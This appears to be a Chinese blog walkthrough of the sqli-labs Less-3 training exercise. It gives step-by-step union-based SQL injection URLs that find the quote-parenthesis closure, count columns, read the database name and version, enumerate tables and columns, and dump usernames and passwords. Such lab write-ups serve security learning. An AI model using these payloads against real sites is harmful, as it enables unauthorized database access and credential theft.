文章目录
- 1. 首先构造闭合,只有闭合成功之后才能实现后面的sql语句
- 2. 然后使用order by 函数来查看有多少列,具体使用如下(建议使用二分法)
- 3. 接下来查看显示位是哪几位,使用union联合查询,先将id改为-1,这样才能使union后的sql语句执行显示出结果。
- 4. 使用databa()函数和version()函数查看库名和版本号
- 5. 由步骤4可知库名为security,再根据库名输出该库的所有表名
- 6. 由步骤4,5可知库名为security,表名有users,Emails等等。我们可以尝试查询users表的列名
- 7. 根据库名security和表名users可以得知users中的列有password,username ,id这些列名,我们就可以根据这些列名查找到我们想要的信息
- 8. 最后查找到users的用户名和密码如上图所示(即sql注入完成)
1. 首先构造闭合,只有闭合成功之后才能实现后面的sql语句
依次以下方式进行检测,使用
http://192.168.1.129/sqli-labs-master/Less-3/?id=1 and 1=2--+
http://192.168.1.129/sqli-labs-master/Less-3/?id=1’ and 1=2--+
http://192.168.1.129/sqli-labs-master/Less-3/?id=1“ and 1=2--+
http://192.168.1.129/sqli-labs-master/Less-3/?id=1 ‘) and 1=2--+
......等等
- 若出现下图则是检测闭合错误,即不对
- 发现只有当输入
http://192.168.1.129/sqli-labs-master/Less-3/?id=1 ‘) and 1=2--+
- 出现下图,则判断正确闭合为 ')
2. 然后使用order by 函数来查看有多少列,具体使用如下(建议使用二分法)
http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 10 --+
- 发现小于10列,接下来测5列
http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 5 --+
- 发现小于5列,接下来测试3列
http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 3 --+
- 发现3列的时候显示正确了,所以可以判断可能大于等于3列,接下来判断4列
http://192.168.1.129/sqli-labs-master/Less-3/id=1 ') order by 4 --+
- 经检测发现4列不正确,小于4列,所以最终可以得知为3列
3. 接下来查看显示位是哪几位,使用union联合查询,先将id改为-1,这样才能使union后的sql语句执行显示出结果。
http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,2,3 --+
4. 使用databa()函数和version()函数查看库名和版本号
http://192.168.1.129/sqli-labs-master/Less-3/?id=-') union all select 1,database(),version() --+
5. 由步骤4可知库名为security,再根据库名输出该库的所有表名
http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security' --+
6. 由步骤4,5可知库名为security,表名有users,Emails等等。我们可以尝试查询users表的列名
http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,group_concat(table_name),group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+
7. 根据库名security和表名users可以得知users中的列有password,username ,id这些列名,我们就可以根据这些列名查找到我们想要的信息
http://192.168.1.129/sqli-labs-master/Less-3/?id=-1') union all select 1,group_concat(username),group_concat(password) from users--+
8. 最后查找到users的用户名和密码如上图所示(即sql注入完成)